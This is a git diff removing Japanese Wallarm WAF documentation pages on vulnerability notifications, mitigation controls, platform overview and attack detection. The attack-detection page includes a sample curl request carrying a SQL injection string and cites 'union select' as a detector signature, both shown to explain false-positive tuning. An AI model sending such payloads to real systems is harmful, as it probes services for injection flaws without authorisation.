脆弱性をクローズする、または誤検知としてマークする - -![Vulnerabilitiesセクション](../images/user-guides/vulnerabilities/check-vuln.png) - -Wallarmプラットフォームの[**API Discovery**モジュール](../api-discovery/overview.md)を使用している場合、脆弱性は発見されたAPIエンドポイントに紐付けられます。例: - -![API Discovery - Risk score](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -脆弱性の管理についての詳細は、[脆弱性の取り扱い](../user-guides/vulnerabilities.md)の手順を参照してください。 - -## 検出された脆弱性の通知 - -Wallarmは、検出された脆弱性に関する通知を送信できます。これにより、アプリケーションの新たに検出された脆弱性を把握し、迅速に対応できます。対応には、アプリケーション側での修正、誤検知の報告、仮想パッチの適用が含まれます。 - -通知の設定手順: - -1. 通知を送信するシステム（例: PagerDuty、Opsgenie、Splunk、Slack、Telegram）との[ネイティブインテグレーション](../user-guides/settings/integrations/integrations-intro.md)を作成します。 -2. インテグレーションカードで、利用可能なイベント一覧から**Vulnerabilities detected**を選択します。 - -検出された脆弱性に関するSplunk通知の例: - -```json -{ - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } -} -``` \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/mitigation-controls-overview.md b/docs/latest-ja/about-wallarm/mitigation-controls-overview.md deleted file mode 100644 index f721f137cc..0000000000 --- a/docs/latest-ja/about-wallarm/mitigation-controls-overview.md +++ /dev/null @@ -1,152 +0,0 @@ -[link-cloud-node-synchronization]: ../admin-en/configure-cloud-node-synchronization-en.md -[img-rules-create-backup]: ../images/user-guides/rules/rules-create-backup.png - -# Mitigation Controls - -Mitigation controlsはWallarmの[攻撃保護](protecting-against-attacks.md#tools-for-attack-detection)を追加のセキュリティ対策で拡張し、Wallarmの動作をきめ細かく調整できるようにします。 - -## Mitigation controlsでできること - -Mitigation controlsを使用すると、次の機能を有効化および設定できます。 - -* [Real-time blocking mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) -* [GraphQL API protection](../api-protection/graphql-rule.md) -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md) -* [BOLA enumeration protection](../api-protection/enumeration-attack-protection.md) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md) -* [Brute force protection](../api-protection/enumeration-attack-protection.md) -* [DoS protection](../api-protection/dos-protection.md) -* [File upload restriction policy](../api-protection/file-upload-restriction.md) - -## Mitigation control branches - -Mitigation controlsは、エンドポイントURIやその他の条件に基づいて自動的に入れ子のブランチにグループ化されます。これにより、Mitigation controlの効果が下位に継承されるツリー状の構造が形成されます。原則は次のとおりです。 - -* すべてのブランチは[all traffic](#scope)のMitigation controlsを継承します。 -* 各ブランチでは、子エンドポイントは親からMitigation controlの効果を継承します。 -* 個別指定が継承より優先されます。 -* 直接指定が正規表現より優先されます。 -* 大文字小文字を区別する指定が区別しない指定より優先されます。 - -## Enabling - -Mitigation controlsを使用するには以下が必要です。 - -* [Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプションプラン -* （大半のコントロール）[NGINX Node](../installation/nginx-native-node-internals.md#nginx-node) 6.0.1または[Native Node](../installation/nginx-native-node-internals.md#native-node) 0.14.1 - -これらの条件を満たしていてもWallarm Consoleに**Security controls** → **Mitigation Controls**セクションが表示されない場合は、有効化のため[Wallarmサポートチーム](https://support.wallarm.com/)にお問い合わせください。 - -## Configuration - -設定はWallarm Consoleの**Security controls** → **Mitigation Controls**セクションで行います。また、API Sessionsなど、システム内の別の場所から一部のMitigation control設定にアクセスすることもできます。 - -![UIのMitigation Controlsページ](../images/user-guides/mitigation-controls/mc-main-page.png) - -設定前に[ブランチ](#mitigation-control-branches)の考え方に慣れ、既存の設定を確認してください。 - -一般に、任意のMitigation controlの設定は以下の手順で構成されます。 - -1. 必要に応じて、カスタムの**Title**を設定します。 -1. 条件を設定します（すべて満たされた場合に→アクション）。 -1. アクション（Mitigation mode）を設定します。 - -### Scope - -**Scope**は、そのコントロールを適用するリクエスト（URIやその他のパラメータに基づく）を定義します。ルールのリクエスト条件と同様の方法で設定します。詳細は[こちら](../user-guides/rules/rules.md#configuring)をご覧ください。 - -**Scope**セクションを空のままにすると、Mitigation controlは**all traffic**および**all applications**に適用され、このようなコントロールはすべての[ブランチ](#mitigation-control-branches)に継承されます。 - -### Advanced conditions - -[Scope](#scope)に加えて、Mitigation controlには、アクションを実行するかどうかを決定する他の条件を含めることがあります。例： - -* [GraphQL API protection](../api-protection/graphql-rule.md)の場合はpolicy positionsで、リクエストがいずれかに違反した場合にのみコントロールが動作します。 -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md)の場合は、リクエストの複数のパラメータで構成され、指定したすべてのパラメータ/値が満たされた場合にのみコントロールが動作します。 - -[Enumeration attack protection](../api-protection/enumeration-attack-protection.md)や[DoS protection](../api-protection/dos-protection.md)のような一部のコントロールでは、**Scope filters**セクションで**session context parameters**を使用し、**API Sessions**で[重要として定義](../api-sessions/setup.md#session-context)されたパラメータのリストから素早く選択できます。このセクションの**Add custom**オプションを使用すると、現在**API Sessions**に存在しないパラメータをフィルタとして追加できます。その場合、これらのパラメータは**API Sessions**のcontext parametersにも追加されます（hidden。つまり、リクエストに含まれていればsession detailsでこれらのパラメータは表示されますが、API Sessionの[context parameter configuration](../api-sessions/setup.md#session-context)には表示されません）。 - -詳細条件を指定するために、[regular expressions](#regular-expressions)を使用できます。 - -### Mitigation mode - -すべての条件が満たされると、Mitigation controlはアクションを実行します。必要なアクションは**Mitigation mode**セクションで選択します。 - -| Mitigation mode | 説明 | -| --- | --- | -| **Inherited** | モードは[all-traffic **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode)およびWallarmノードの[構成](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive)から継承されます。 | -| **Monitoring** | 検出された攻撃を記録するだけで、ブロックは行いません。記録された攻撃は**API Sessions**の該当する[session details](../api-sessions/exploring.md#specific-activities-within-session)に表示されます。
      一部のコントロールでは、このモード中に送信元IPを[Graylist](../user-guides/ip-lists/overview.md)に追加する追加オプションを選択できます。 | -| **Blocking** | 攻撃を記録してブロックします。[ブロック方法](../about-wallarm/protecting-against-attacks.md#attack-handling-process)はコントロールの種類によって異なり、real-time blocking、[IP-based blocking](../user-guides/ip-lists/overview.md)、またはsession-based blocking*になります。 | -| **Excluding** | [指定したscope](#mitigation-control-branches)に対するこのタイプのMitigation controlを停止します。詳細は[Excluding mode vs. disabling](#excluding-mode-vs-disabling)をご覧ください。 | -| **Safe blocking** | 攻撃を記録しますが、送信元IPが[Graylist](../user-guides/ip-lists/overview.md)にある場合にのみブロックします。 | - -* 現時点ではsession-based blockingは未対応です。 - -利用可能なモードの一覧はコントロールによって異なる場合があります。 - -### Excluding mode vs. disabling - -**On/Off**スイッチャーを使用してMitigation controlを一時的に無効化し、必要に応じて再度有効化できます。以下の例で、無効化したMitigation controlと、Excludingモードで有効化したMitigation controlの違いをご確認ください。 - -* コントロールは[ブランチで動作](#mitigation-control-branches)することを考慮してください。 -* たとえば、`example.com`に対して[DoS protection](../api-protection/dos-protection.md)コントロール（1分あたり50リクエスト）を設定し、子の`example.com/login`に同種のコントロール（1分あたり10リクエスト）を設定しているとします。これにより、`example.com`配下のすべてのアドレスには1分あたり50リクエストの制限が適用されますが、`example.com/login`配下ではより厳しく1分あたり10リクエストの制限となります。 -* `example.com/login`のrate abuse protectionコントロールを無効化（スイッチャーを**Off**）すると、そのコントロールは何もしなくなります（削除したのと同じ状態）——この場合、全体の制限は親コントロールにより決まります（1分あたり50リクエスト）。 -* `example.com/login`のrate abuse protectionコントロールを再有効化し、そのMitigation modeを**Excluding**に設定すると、このブランチではrate abuse protectionが停止します。つまり、`example.com`全体では1分あたり50リクエストの制限が適用されますが、`example.com/login`ではrate abuse protectionタイプの制限は一切適用されません。 - -### Regular expressions - -ScopeやScope filtersなどのさまざまなMitigation controlパラメータの指定には、正規表現を使用できます。 - -* **Scope**セクションはPIRE正規表現ライブラリを使用します。使い方の詳細は[こちら](../user-guides/rules/rules.md#condition-type-regex)をご覧ください。 -* その他のセクションは[PCRE](https://www.pcre.org/)を使用します。正規表現を使用するには以下の演算子を使います。 - - | 演算子 | 説明 | - | --- | --- | - | ~ (Aa) | 大文字小文字を区別しない正規表現で検索します。 | - | !~ (Aa) | 大文字小文字を区別しない正規表現で除外します。 | - | ~ | 大文字小文字を区別する正規表現で検索します。 | - | !~ | 大文字小文字を区別する正規表現で除外します。 | - -## デフォルトコントロール - -Wallarmは一連の**デフォルトのMitigation controls**を提供しており、有効化するとWallarmプラットフォームの検出能力が大幅に向上します。これらのコントロールは、多様な一般的攻撃パターンに対して堅牢な保護を提供するよう事前設定されています。現在のデフォルトMitigation controlsは以下のとおりです。 - -* [GraphQL protection](../api-protection/graphql-rule.md) -* ユーザーID、オブジェクトID、ファイル名に対する[BOLA (Broken Object Level Authorization) enumeration protection](../api-protection/enumeration-attack-protection.md#bola) -* パスワード、OTP、認証コードに対する[Brute force protection](../api-protection/enumeration-attack-protection.md#brute-force) -* [Forced browsing protection](../api-protection/enumeration-attack-protection.md#forced-browsing)（404 probing） -* [Enumeration attack protection](../api-protection/enumeration-attack-protection.md#generic-enumeration)として以下を含みます： - - * ユーザー/メールの列挙 - * SSRF（Server-Side Request Forgery）の列挙 - * User-agentのローテーション - -デフォルトセットのすべてのコントロールには`Default`ラベルが付与されています。これらのコントロールは次のとおりです。 - -* 新規クライアントにはWallarmによって自動追加され有効（`On`）、既存クライアントでは無効（`Off`）です。 - - !!! info "デフォルトコントロールが見当たらない場合" - [必須](#obligatory_default_controls)のものを除いてデフォルトコントロールが表示されず、試してみたい場合は、[Wallarmサポートチーム](https://support.wallarm.com/)までご連絡ください。 - -* すべては初期状態で[all traffic](#scope)に適用されています（変更可能）。 -* すべては初期状態で`Monitoring`[Mitigation mode](#mitigation-mode)を使用しています（変更可能）。 -* 削除はできません。 -* 他のコントロールと同様に無効化/再有効化や編集が可能です。編集により、アプリケーションの特性、トラフィックパターン、ビジネスコンテキストに応じて任意のデフォルトコントロールをカスタマイズできます。たとえば、既定のしきい値を調整したり、**Scope filters**セクションを使用して特定のエンドポイントを除外したりできます。 - - -![デフォルトMitigation controls](../images/user-guides/mitigation-controls/mc-defaults.png) - ---8<-- "../include/mc-subject-to-change.md" - -**必須のデフォルトコントロール** - -* All traffic [Real-time blocking mode](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode)コントロール -* [Overlimit res](../user-guides/rules/configure-overlimit-res-detection.md) - -## ルールセットのライフサイクル - -作成したMitigation controlsと[rules](../user-guides/rules/rules.md)はカスタムルールセットを形成します。Wallarmノードは受信リクエストの解析時にこのカスタムルールセットに依存します。 - -rulesおよびMitigation controlsの変更は即時には反映されません。変更は、カスタムルールセットの**ビルド**と**フィルタリングノードへのアップロード**が完了した後にのみ、リクエスト解析プロセスに適用されます。 - ---8<-- "../include/custom-ruleset.md" \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/overview.md b/docs/latest-ja/about-wallarm/overview.md deleted file mode 100644 index ba0f7a8cd2..0000000000 --- a/docs/latest-ja/about-wallarm/overview.md +++ /dev/null @@ -1,96 +0,0 @@ -[link-deployment-se]: ../installation/security-edge/overview.md -[link-deployment-hybrid]: ../installation/supported-deployment-options.md - -# Wallarmプラットフォームの概要 - -今日のデジタル世界では、AIの台頭に伴い、APIが直面する脅威が増大しています。従来型のセキュリティではAPIの脆弱性を見落としたり、導入が難しかったりすることがあります。Wallarmを使用すると、クラウドネイティブおよびセルフホスト環境全体でAPI保護とインベントリの可視化を一元的に提供する単一のプラットフォームを利用できます。 - -企業は、強化されたAPIセキュリティ、容易な導入、そして価値の高さからWallarmを選択します。高度なAPIセキュリティ機能とともに、APIディスカバリ、リスク管理、リアルタイム保護、テストを組み合わせています。 - -![図](../images/about-wallarm-waf/overview/wallarm-features.png) - -## 検出 - -保護するには、対象を把握する必要があります。Wallarmは、お客様の環境内のAPIを特定し、そのセキュリティリスクを評価するための包括的なAPIディスカバリ機能を提供します。WallarmのAPIディスカバリが行うことは次のとおりです: - -* [お客様のAPIエンドポイントとそのパラメータを検出](../api-discovery/overview.md)し、継続的なトラフィック解析によってAPIビューを継続的に更新します。 -* [不正なエンドポイントを特定](../api-discovery/rogue-api.md)し、Shadow API、Orphan API、Zombie APIも対象にします。 -* PIIなどの機微データを露出させる可能性があるエンドポイントを特定します。 -* 各エンドポイントのセキュリティリスクや脆弱性を[評価](../api-discovery/risk-score.md)し、リスクスコアを提供します。 - -![API Discoveryで検出されたエンドポイント](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -## 保護 - -Wallarmは、トラフィック内のアプリケーションおよびAPIへの攻撃を検知してブロックすることで、ディスカバリを拡張し実効的な保護を実現します。Wallarmの独自検知技術は高い精度を提供し、[OWASP Top 10](https://owasp.org/www-project-top-ten/)および[OWASP API Top 10](https://owasp.org/www-project-api-security/)の脆弱性を悪用する攻撃の検知も含みます。Wallarmが保護を実現する方法は次のとおりです: - -* [インライン](../installation/inline/overview.md)および[アウトオブバンド](../installation/oob/overview.md)の両方で攻撃を検知します。 -* コードインジェクション、リモートコード実行、ブルートフォース、BOLAなど、WebベースからAPI特有のものまで、[多様な脅威](../attacks-vulns-list.md)に対処します。 -* [API特有の悪意あるボットによる悪用](../api-abuse-prevention/overview.md)を検知します。 -* カスタマイズ可能な[レート制限](../user-guides/rules/rate-limiting.md)により、レイヤ7のサービス拒否攻撃に対抗します。 -* 組み込み対策を補完するため、独自の脅威定義を設定して[カスタム防御](../user-guides/rules/regex-rule.md)を作成できます。 -* 攻撃をお客様のシステムの脆弱性とマッピングし、重大なインシデントを浮き彫りにします。 -* [クレデンシャルスタッフィングの試行](../about-wallarm/credential-stuffing.md)を検知します。 - -## 対応 - -Wallarmは、詳細なデータ、幅広い連携、ブロッキング機構を提供し、セキュリティ脅威へ効果的に対応するためのツールを提供します。まず詳細な情報を提示し、セキュリティアナリストが脅威の性質と深刻度を判断できるようにします。そのうえで、対応を調整し、脅威へ対処し、関連するシステムへアラートを送信できます。Wallarmが支援する内容は次のとおりです: - -* [攻撃の詳細調査](../user-guides/events/check-attack.md)。エンコードされたリクエストの展開を含み、ヘッダーからボディまで攻撃のあらゆる側面を詳細に示します。 -* VPNやTorネットワークなどの疑わしいトラフィックソースをブロックするための[ジオロケーションベースの制御](../user-guides/ip-lists/overview.md)。 -* 悪意のあるアクティビティがAPIに到達するのを防ぐための[攻撃ブロッキング手段](../admin-en/configure-wallarm-mode.md#available-filtration-modes)。 -* 検知されたセキュリティ脅威に関するデータの配信、チケットや通知の作成のために、広く利用されているセキュリティ/運用/開発ツールとの[連携](../user-guides/settings/integrations/integrations-intro.md)。対応プラットフォームにはSlack、Sumo Logic、Splunk、Microsoft Sentinelなどがあります。 -* Wallarmの脆弱性検出で明らかになった緊急の問題に対する[仮想パッチ](../user-guides/rules/vpatch-rule.md)。 - -![イベント](../images/about-wallarm-waf/overview/events-with-attacks.png) - -## テスト - -デプロイ後のリスクを管理することは第一の防衛線ですが、製品のアプリケーションとAPIが抱えるリスク自体を低減することが、インシデントを減らす最も効果的な方法です。Wallarmは、以下のテスト機能群を提供し、脆弱性リスクを見つけて排除することで、アプリケーションとAPIのセキュリティ対策を一連のサイクルとして完結させます: - -* パッシブトラフィック解析により[脆弱性を特定](../user-guides/vulnerabilities.md)します。 -* 特定されたAPIの弱点を検査します。 -* 観測されたトラフィックから[APIセキュリティテストを動的に生成](../vulnerability-detection/threat-replay-testing/overview.md)します。 -* 公開リポジトリに露出したAPIトークンを[チェック](../api-attack-surface/security-issues.md)します。 - -![脆弱性](../images/about-wallarm-waf/overview/vulnerabilities.png) - - -## Wallarmの仕組み - -Wallarmのプラットフォームは主に2つのコンポーネント、WallarmフィルタリングノードとWallarm Cloudで構成されています。 - -![アーキテクチャ図1](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -### フィルタリングノード - -インターネットとお客様のAPIの間に配置されるWallarmフィルタリングノードは、次のことを行います: - -* 企業のネットワーク全体のトラフィックを解析し、悪意のあるリクエストを阻止します。 -* ネットワークトラフィックのメトリクスを収集し、Wallarm Cloudにアップロードします。 -* Wallarm Cloudで定義したリソース固有のセキュリティルールをダウンロードし、トラフィック解析時に適用します。 -* リクエスト内の機微データを検出し、そのデータがお客様のインフラ内に安全に留まり、第三者サービスであるWallarm Cloudに送信されないようにします。 - -Wallarmフィルタリングノードは、[お客様自身のネットワーク](../installation/supported-deployment-options.md)内にセットアップすることも、[Wallarm Security Edge](../installation/security-edge/overview.md)を選択することもできます。 - -### クラウド - -Wallarm Cloudは次のことを行います: - -* フィルタリングノードがアップロードするメトリクスを処理します。 -* リソース固有のカスタムセキュリティルールを生成します。 -* 企業の公開アセットをスキャンし、脆弱性を検出します。 -* フィルタリングノードから受け取ったトラフィックメトリクスに基づいてAPI構造を構築します。 -* Wallarmプラットフォームのナビゲーションと設定を行うためのコマンドセンターであるWallarm Console UIをホストし、あらゆるセキュリティインサイトを包括的に把握できるようにします。 - -Wallarmは米国と欧州の両方にクラウドインスタンスを提供しており、データ保管の方針や地域でのサービス運用要件を考慮して最適なリージョンを選択できます。 - -[US Wallarm Cloudでサインアップに進む](https://us1.my.wallarm.com/signup) - -[EU Wallarm Cloudでサインアップに進む](https://my.wallarm.com/signup) - -## Wallarmが動作する場所 - -上記の[説明した](#how-wallarm-works)Wallarmコンポーネント（フィルタリングノードとクラウド）は、次の3つの形態のいずれかでデプロイできます: - ---8<-- "../include/deployment-forms.md" \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/protecting-against-attacks.md b/docs/latest-ja/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 1126bc01bd..0000000000 --- a/docs/latest-ja/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1,234 +0,0 @@ -[rule-creation-options]: ../user-guides/events/check-attack.md#attack-analysis_1 -[request-processing]: ../user-guides/rules/request-processing.md -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# 攻撃検知の手順 - -WallarmプラットフォームはAPIトラフィックを継続的に分析し、不正リクエストをリアルタイムで緩和します。本記事では、Wallarmが攻撃から保護するリソースの種類、トラフィック中の攻撃検知方法、および検知された脅威の追跡と管理方法を説明します。 - -## Attackとは何か、その構成要素は何か? - -
      - -
      - -
      -
      - -**Attack**とは、以下の特性でグループ化された1つのHitまたは複数のHitsです: - -* 同一の攻撃タイプ、悪意のあるペイロードを含むパラメータ、そしてHitが送信されたアドレスが同じであること。Hitは同一または異なるIPアドレスから到来してもよく、同一攻撃タイプの範囲で悪意のあるペイロードの値が異なる場合があります。新しいHitは最後のHitから1時間以内に到着したもののみ同一Attackにまとめられます。1時間を超える場合は別のAttackとして記録されます。 - - このHitのグルーピング方法は基本で、すべてのHitに適用されます。 - -* [source IPによるHitのグルーピング](../user-guides/events/grouping-sampling.md#grouping-of-hits)が有効な場合は、送信元IPアドレスが同じであること。その他のHitのパラメータ値は異なっていて構いません。 - - このグルーピング方法は、Brute force、Forced browsing、BOLA(IDOR)、Resource overlimit、Data bomb、Virtual patchの攻撃タイプを除くすべてのHitに適用されます。 - - Hitがこの方法でグループ化されている場合、そのAttackに対しては[**Mark as false positive**](../user-guides/events/check-attack.md#false-positives)ボタンを使用できません。 - -上記のHitのグルーピング方法は相互に排他的ではありません。両方の条件を満たすHitは、1つのAttackにまとめられます。 - -**Hit**とは、シリアライズされた不正リクエスト（元の不正リクエストと、Wallarmノードが付与するメタデータ）です。1つのリクエスト内に異なるタイプの複数の悪意のあるペイロードが検出された場合、Wallarmは、それぞれが1種類のペイロードのみを含む複数のHitとして記録します。 - -**悪意のあるペイロード**とは、元のリクエストのうち次の要素を含む部分です: - -* リクエストで検出された攻撃シグネチャ。同一の攻撃タイプを特徴付ける複数の攻撃シグネチャが1つのリクエストで検出された場合は、最初に検出されたシグネチャのみがペイロードに記録されます。 -* 攻撃シグネチャのコンテキスト。コンテキストとは、検出された攻撃シグネチャの前後にある文字の集合です。ペイロードの長さには制限があるため、攻撃シグネチャがペイロード全体の長さを占める場合はコンテキストが省略されることがあります。 - - 攻撃シグネチャは[行動ベースの攻撃](../attacks-vulns-list.md#attack-types)の検知には使用しないため、行動ベースの攻撃の一部として送信されたリクエストのペイロードは空になります。 - -[Wallarmで攻撃を分析する方法→](../user-guides/events/check-attack.md) - -## 保護対象リソースの種類 - -Wallarmノードは、保護対象リソースに送信されるHTTPおよびWebSocketトラフィックを分析します: - -* HTTPトラフィックの分析はデフォルトで有効です。 - - WallarmノードはHTTPトラフィックを[入力検証型攻撃](../attacks-vulns-list.md#attack-types)および[行動ベースの攻撃](../attacks-vulns-list.md#attack-types)について分析します。 -* WebSocketトラフィックの分析は、ディレクティブ[`wallarm_parse_websocket`](../admin-en/configure-parameters-en.md#wallarm_parse_websocket)で追加設定が必要です。 - - WallarmノードはWebSocketトラフィックを[入力検証型攻撃](../attacks-vulns-list.md#attack-types)のみ対象に分析します。 - -保護対象のAPIは以下の技術を基盤として設計できます（WAAPの[サブスクリプションプラン](subscription-plans.md#core-subscription-plans)により制限があります）: - -* GraphQL -* gRPC -* WebSocket -* REST API -* SOAP -* XML-RPC -* WebDAV -* JSON-RPC - - -## 攻撃の処理プロセス - -攻撃を検知・処理するために、Wallarmは次のプロセスを使用します: - -1. [IP lists](../user-guides/ip-lists/overview.md)を確認し、そもそもリクエストを処理するかどうかを判断します。Denylistはリクエストをブロックし、allowlistは許可します。いずれも以降の解析は行いません。 -1. リクエスト形式を判定し、各リクエスト要素を[解析](../user-guides/rules/request-processing.md)して[基本の検出器](#basic-set-of-detectors)を適用します。 -1. リクエストの宛先エンドポイントを特定し、[カスタムルール](#custom-rules)/[Mitigation controls](#mitigation-controls)および[特定モジュールの設定](#specific-module-settings)を適用するとともに、[フィルタリングモード](../admin-en/configure-wallarm-mode.md)を把握します。 -1. 基本の検出器、カスタムルール、特定モジュールの設定に基づいて、そのリクエストが攻撃の一部かどうかを判定します。 -1. 判定結果とフィルタリングモードに従ってリクエストを処理します。 - -![攻撃処理プロセスの図](../images/about-wallarm-waf/overview/attack-handling-diagram.png) - -ルール、Mitigation controls、設定、およびフィルタリングモードは、親エンドポイントまたは[アプリケーション](../user-guides/settings/applications.md)から継承される場合があります。より具体的なものが優先されます。 - -## 攻撃検知のためのツール - -攻撃を検知するために、Wallarmは[攻撃の処理プロセス](#attack-handling-process)に従って保護対象に送信されるすべてのリクエストを次のツールで分析します: - -* [基本の検出器](#basic-set-of-detectors) -* [カスタムルール](#custom-rules) / [Mitigation controls](#mitigation-controls) -* [特定モジュールの設定](#specific-module-settings) - - -### 基本の検出器 - -Wallarmは、基本の検出器セット（Wallarmが開発した**libproton**ライブラリ）を用いて、攻撃タイプごとのシグネチャをトークン列として判定します。例: [SQLインジェクション攻撃タイプ](../attacks-vulns-list.md#sql-injection)に対する`union select`。リクエストに検出器のトークン列と一致するトークン列が含まれている場合、そのリクエストは対応するタイプの攻撃と見なされます。 - -Wallarmは、新しい攻撃タイプおよび既存の攻撃タイプに対して、この検出器（トークン列）のリストを定期的に更新します。 - -また、WallarmはSQLインジェクション攻撃を追加検証します（Wallarmが開発した**libdetection**ライブラリ）。[管理方法](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection)をご覧ください。 - - -### カスタムルール - -カスタム[ルール](../user-guides/rules/rules.md)は、基本の検出器で定義される挙動をきめ細かく調整するために使用します。ユーザーはWallarm Consoleでルールを作成し、そのルールセットがフィルタリングノードにアップロードされます。 - - -### Mitigation controls - -Mitigation controlsは、追加のセキュリティ対策によってWallarmの攻撃防御を拡張し、Wallarmの挙動をさらに微調整できるようにします。 - - -### 特定モジュールの設定 - -基本の検出器やカスタムルールとの照合に加えて、リクエストは次のような各種保護ツールが提供する設定にも照らしてチェックされます: - -* [API Abuse Prevention](../api-abuse-prevention/overview.md) -* [API Specification Enforcement](../api-specification-enforcement/overview.md) -* [Credential Stuffing](../about-wallarm/credential-stuffing.md) -* [Triggerに基づく保護手段](../user-guides/triggers/triggers.md#what-you-can-do-with-triggers) - -これらのいずれのツールも、特定の攻撃や脆弱性の検知、ならびにリクエストのブロックを引き起こす場合があります。 - -## 特定の攻撃タイプを無視する - -**Ignore certain attack types**ルールは、特定のリクエスト要素において特定の攻撃タイプの検知を無効化できます。 - -デフォルトでは、Wallarmノードは任意のリクエスト要素でいずれかの攻撃タイプのシグネチャを検出すると、そのリクエストを攻撃としてマークします。ただし、攻撃シグネチャを含む一部のリクエストが実際には正当な場合もあります（例: データベース管理者フォーラムへの投稿を公開するリクエストの本文に、[悪意のあるSQLコマンド](../attacks-vulns-list.md#sql-injection)の説明が含まれる場合）。 - -リクエストの標準的なペイロードをWallarmノードが悪意のあるものとしてマークすると、[誤検知](#false-positives)が発生します。誤検知を防ぐには、保護対象APIの特性に合わせて、特定タイプのカスタムルールを用い標準の攻撃検知ルールを調整する必要があります。そのためにWallarmは**Ignore certain attack types**[ルール](../user-guides/rules/rules.md)を提供しています。 - -**ルールの作成と適用** - ---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Ignore certain attacks**を選択します。 -1. **If request is**で、このルールを適用する対象範囲を[記述](../user-guides/rules/rules.md#configuring)します。 -1. 特定の攻撃のみのシグネチャを無視するのか（対象を選択）、すべての攻撃のシグネチャを無視するのかを設定します。 -1. **In this part of request**で、このルールを設定したいリクエストのポイントを指定します。 - - 利用可能なポイントは[こちら](../user-guides/rules/request-processing.md)に記載されています。お使いのユースケースに合致するものを選択してください。 - -1. [ルールのコンパイルが完了する](../user-guides/rules/rules.md#ruleset-lifecycle)まで待ちます。 - -**ルール例** - -たとえば、ユーザーがデータベース管理者フォーラムへの投稿の公開を確認すると、クライアントはエンドポイント`https://example.com/posts/`にPOSTリクエストを送信します。このリクエストには次の特性があります: - -* 投稿内容はリクエスト本文のパラメータ`postBody`に渡されます。投稿内容には、Wallarmによって悪意ありとマークされ得るSQLコマンドが含まれる場合があります。 -* リクエスト本文のタイプは`application/json`です。 - -以下は[SQLインジェクション](../attacks-vulns-list.md#sql-injection)を含むcURLリクエストの例です: - -```bash -curl -H "Content-Type: application/json" -X POST https://example.com/posts -d '{"emailAddress":"johnsmith@example.com", "postHeader":"SQL injections", "postBody":"My post describes the following SQL injection: ?id=1%20select%20version();"}' -``` - -したがって、`https://example.com/posts/`へのリクエストについて、パラメータ`postBody`内のSQLインジェクションを無視する必要があります。 - -そのためには、次のスクリーンショットのとおり**Ignore certain attack types**ルールを設定します: - -![「Ignore certain attack types」ルールの例](../images/user-guides/rules/ignore-attack-types-rule-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -## バイナリデータ内の特定の攻撃シグネチャを無視する - -デフォルトでは、Wallarmノードは既知のすべての攻撃シグネチャについて受信リクエストを分析します。この分析の過程で、攻撃シグネチャが通常のバイナリ記号ではないと判断され、バイナリデータ内に誤って悪意のあるペイロードが検出されてしまうことがあります。 - -**Allow binary data**[ルール](../user-guides/rules/rules.md)を使用すると、バイナリデータを含むリクエスト要素を明示的に指定できます。指定したリクエスト要素を分析する際、Wallarmノードはバイナリデータ内に絶対に含まれない攻撃シグネチャを無視します。 - -* **Allow binary data**ルールは、バイナリデータ（例: 圧縮ファイルや暗号化ファイル）を含むリクエスト要素に対する攻撃検知の微調整を可能にします。 - -**ルールの作成と適用** - ---8<-- "../include/rule-creation-initial-step.md" -1. **Fine-tuning attack detection** → **Binary data processing**を選択します。 -1. **If request is**で、このルールを適用する対象範囲を[記述](../user-guides/rules/rules.md#configuring)します。 -1. **In this part of request**で、このルールを設定したいリクエストのポイントを指定します。 - - 利用可能なポイントは[こちら](../user-guides/rules/request-processing.md)に記載されています。お使いのユースケースに合致するものを選択してください。 - -1. [ルールのコンパイルが完了する](../user-guides/rules/rules.md#ruleset-lifecycle)まで待ちます。 - -**ルール例** - -例えば、ユーザーがサイト上のフォームを使って画像を含むバイナリファイルをアップロードすると、クライアントは`multipart/form-data`タイプのPOSTリクエストを`https://example.com/uploads/`に送信します。バイナリファイルは本文パラメータ`fileContents`に渡されます。これを許可する必要があります。 - -そのためには、次のスクリーンショットのとおり**Allow binary data**ルールを設定します: - -![「Allow binary data」ルールの例](../images/user-guides/rules/ignore-binary-attacks-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - - -## 攻撃の監視とブロック - -**入力検証型攻撃** - -Wallarmは、[入力検証型攻撃](../attacks-vulns-list.md#attack-types)を次のモードで処理できます: - -* Monitoring mode: 検知はしますがブロックしません。 -* Safe blocking mode: 攻撃を検知し、[graylisted IPs](../user-guides/ip-lists/overview.md)からのもののみブロックします。graylisted IPsから送信された正当なリクエストはブロックされません。 -* Blocking mode: 検知し、ブロックします。 - -各フィルタリングモードの動作、および全体や特定のアプリケーション、ドメイン、エンドポイントに対するフィルタリングモードの設定方法の詳細は[こちら](../admin-en/configure-wallarm-mode.md)をご覧ください。 - -**行動ベースの攻撃** - -Wallarmが[行動ベースの攻撃](../attacks-vulns-list.md#attack-types)をどのように検知し、検知時にどのように振る舞うかは、フィルタリングモードではなく、これらの攻撃タイプの[特定モジュールの設定](#specific-module-settings)によって定義されます。 - - -## 誤検知 - 